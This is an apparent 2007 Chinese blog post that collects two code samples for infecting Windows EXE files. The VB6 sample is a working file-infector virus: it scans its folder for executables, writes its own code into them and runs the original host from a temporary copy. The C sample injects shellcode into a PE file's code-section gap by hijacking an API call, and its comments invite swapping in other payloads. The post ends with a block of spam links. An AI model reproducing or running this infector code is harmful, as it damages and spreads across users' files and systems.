• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            感染EXE

            收集兩篇感染exe的文章,有時(shí)間了把它寫出來

            VB:

            Option Explicit
            Private Victim As String '要感染的文件的名字
            Private HostLen As Long '要感染的文件的大小
            Private vbArray() As Byte '病毒的代碼
            Private hArray() As Byte '要感染的文件的代碼
            Private lenght As Long
            Private MySize As Integer '病毒的大小

            Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
            Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
            Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
            Private iResult As Long
            Private hProg As Long
            Private idProg As Long
            Private iExit As Long
            Const STILL_ACTIVE As Long = &H103
            Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

            Private Sub form_Initialize()
            Dim i As Long
            On Error GoTo vbVerror '出錯(cuò)處理

            '原理:將生成病毒文件的代碼讀出,粘在要被感染的文件的后面。
            Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
            As #1
            ReDim MyArray(LOF(1) - 1)
            MySize = LOF(1)
            ReDim vbArray(MySize)
            Get #1, 1, vbArray
            Close #1
            '這是在讀自己的代碼


            Victim = Dir(App.Path & "\" & "*.EXE") '隨便選一個(gè)文件(目前只是在病毒所在的目錄下隨機(jī)選一個(gè),將來你可以修改,讓它不斷的循環(huán)搜索計(jì)算機(jī)上的所有文件。)
            While Victim <> ""

            If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
            Open App.Path & "\" & Victim For Binary Access Read As #1
            ReDim hArray(LOF(1))
            Get #1, 1, hArray
            Close #1
            '讀出病毒自身的代碼


            If hArray(&H69) <> &H4D Then

            i = hArray(&H3C)
            If hArray(i) = &H50 Then
            Open App.Path & "\" & Victim For Binary Access Write As #1
            Put #1, , vbArray
            Put #1, MySize, hArray
            Close #1
            End If '要保證被感染的不是空文件(不是圈套)
            End If
            End If
            '讀出準(zhǔn)備被感染的文件的代碼

            Victim = Dir() 'Next

            Wend

            '下面的工作是為了保證病毒不會(huì)重復(fù)感染一個(gè)文件,也不會(huì)自我感染。

            Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
            lenght = LOF(1) - MySize
            If lenght <> 0 Then
            ReDim vbArray(lenght - 1)
            Get #1, MySize, vbArray
            Close #1

            Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
            Put #1, , vbArray
            Close #1


            idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
            hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
            GetExitCodeProcess hProg, iExit
            Do While iExit = STILL_ACTIVE
            DoEvents
            GetExitCodeProcess hProg, iExit
            Loop
            Kill App.Path & "\" & App.EXEName & ".eve"

            Else
            Close #1

            End If

            End

            vbVerror: '出錯(cuò)處理,空著就可以了

            End Sub



            VC:

            /**************************************************************
            * 函數(shù):InjectCode
            * 參數(shù):char szHostFile[]--待感染的exe文件路徑

            * 功能:感染一個(gè)exe程序,運(yùn)行顯示“金豬拜年”的MessageBox
            * 從代碼節(jié)開始搜索,替換第一個(gè)發(fā)現(xiàn)的call api的指令
            * 把目標(biāo)代碼插入代碼節(jié)的尾部
            * 代碼僅供演示之用,沒有做過多的錯(cuò)誤處理
            * 感染當(dāng)前hello.exe,插入一段彈出對話框代碼(當(dāng)然你可以修改成啟動(dòng)文件的代碼,嘿嘿)
            * coded by robinh00d
            * robinh00d_at_163.com
            * 編譯:cl epo.c
            **************************************************************/
            int InjectCode(char szHostFile[])
            {//#include <windows.h>
                PIMAGE_DOS_HEADER pImageDosHeader ;
                PIMAGE_NT_HEADERS pImageNtHeaders ;
                PIMAGE_SECTION_HEADER pImageSectionHeader;
                unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                                        "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                                        "\x8d\x83\x30\x10\x40\x00\x50\x50"
                                        "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                                        "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                                        "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                                        "\xC4\xEA\x00";
                HANDLE hFile ;
                HANDLE hMap ;
                LPVOID pMapping ;
                DWORD dwGapSize ;
                unsigned char *pGapEntry ;
                int i ;
                PROC MsgBox ;
                DWORD OldEntry ;
                int x = 0x18 ;
                int vir_len ;
                unsigned char *pSearch ;
                DWORD *dwCallNextAddr ;
                DWORD *dwCallDataOffset ;
                DWORD *dwCallDataAddr ;
                DWORD dwCallData ;
                DWORD dwCodeDistance ;
                DWORD *dwJmpAddr ;
                DWORD dwJmpData ;
                DWORD dwJmpVA ;

                //:::
                hFile = CreateFile(szHostFile,
                                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                                    NULL,
                                    OPEN_EXISTING,
                                    FILE_ATTRIBUTE_NORMAL,
                                    NULL) ;
                                   
                if (hFile==INVALID_HANDLE_VALUE)
                {
                    return -1 ;
                }
               
                hMap = CreateFileMapping(hFile,
                                        NULL,
                                        PAGE_READWRITE,
                                        0,
                                        0,
                                        NULL) ;
                if (!hMap)
                    return -1 ;
               
                pMapping = MapViewOfFile(hMap,
                                    FILE_MAP_ALL_ACCESS,
                                    0,
                                    0,
                                    0) ;
                if (!pMapping)
                    return -1 ;
               
                pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
                if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
                {
                    pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
                    if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
                    {
                        pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                                        pImageDosHeader->e_lfanew+
                                                                        sizeof(IMAGE_NT_HEADERS)) ;
                        dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

            >Misc.VirtualSize ;
                       
                        if (sizeof(thunkcode)>dwGapSize)
                            goto Close ;
                           
                        pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                                        (DWORD)pMapping+
                                                        pImageSectionHeader->Misc.VirtualSize) ;
                       
                        OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                                    pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

                        MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

                        //修改為當(dāng)前系統(tǒng)的MessageBoxA地址
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                            x -= 8 ;
                        }
                        x = 24 ;
                       
                        vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
                       
                        pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                    (DWORD)pMapping) ;
                                   
                        //:::搜索call指令(0xe8)
                        for (i=0;i<vir_len;i++)
                        {
                            if (pSearch[i]==0xe8)
                            {
                                dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                                dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                                dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                                dwJmpVA = (DWORD)dwJmpAddr-
                                            ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                            pImageNtHeaders->OptionalHeader.ImageBase+
                                            pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                                dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                                if ((*dwJmpAddr&0xffff)==0x25ff)
                                {
                                    dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                                    *dwCallDataAddr = dwCodeDistance ;
                                    for (i=3;i>=0;i--)
                                    {
                                        thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                                        x -= 8 ;
                                    }
                                    for (i=0;i<sizeof(thunkcode);i++)
                                    {
                                        pGapEntry[i] = thunkcode[i] ;
                                    }
                                    break ;
                                }
                            }
                           
                        }
                       
                    }
                }

            Close:
                UnmapViewOfFile(pMapping) ;
                CloseHandle(hMap) ;
                CloseHandle(hFile) ;
               
                return 0 ;
            }

            posted on 2007-10-08 14:21 葉子 閱讀(1068) 評論(0)  編輯 收藏 引用 所屬分類: 技術(shù)研究

            MM131亚洲国产美女久久| 热综合一本伊人久久精品| 色综合久久综合中文综合网| 国产精品久久久久久五月尺| 77777亚洲午夜久久多人| 久久久精品波多野结衣| 性欧美丰满熟妇XXXX性久久久 | 韩国免费A级毛片久久| 亚洲精品国产成人99久久| 一本一本久久a久久综合精品蜜桃| 久久精品国产亚洲av水果派| 欧美日韩精品久久久久| 久久免费精品一区二区| 国产亚洲综合久久系列| 亚洲七七久久精品中文国产| 狠狠色丁香婷婷综合久久来来去| 国产精品九九九久久九九 | 久久夜色精品国产噜噜麻豆| 影音先锋女人AV鲁色资源网久久| 精品久久久久久国产免费了| 亚洲AV无码久久精品色欲| 性高朝久久久久久久久久| 大蕉久久伊人中文字幕| 久久精品18| 99久久99这里只有免费费精品| 久久综合成人网| 一级a性色生活片久久无| 久久精品中文字幕一区| 亚洲一区二区三区日本久久九| 99久久人妻无码精品系列蜜桃 | 中文字幕日本人妻久久久免费| 久久久精品视频免费观看| 国产精品美女久久久久AV福利| 精品久久无码中文字幕| 久久Av无码精品人妻系列| 色综合久久无码五十路人妻 | 99热精品久久只有精品| 99久久婷婷国产一区二区| 国产免费久久精品99久久| 伊人久久大香线蕉精品| 国产成人精品久久综合|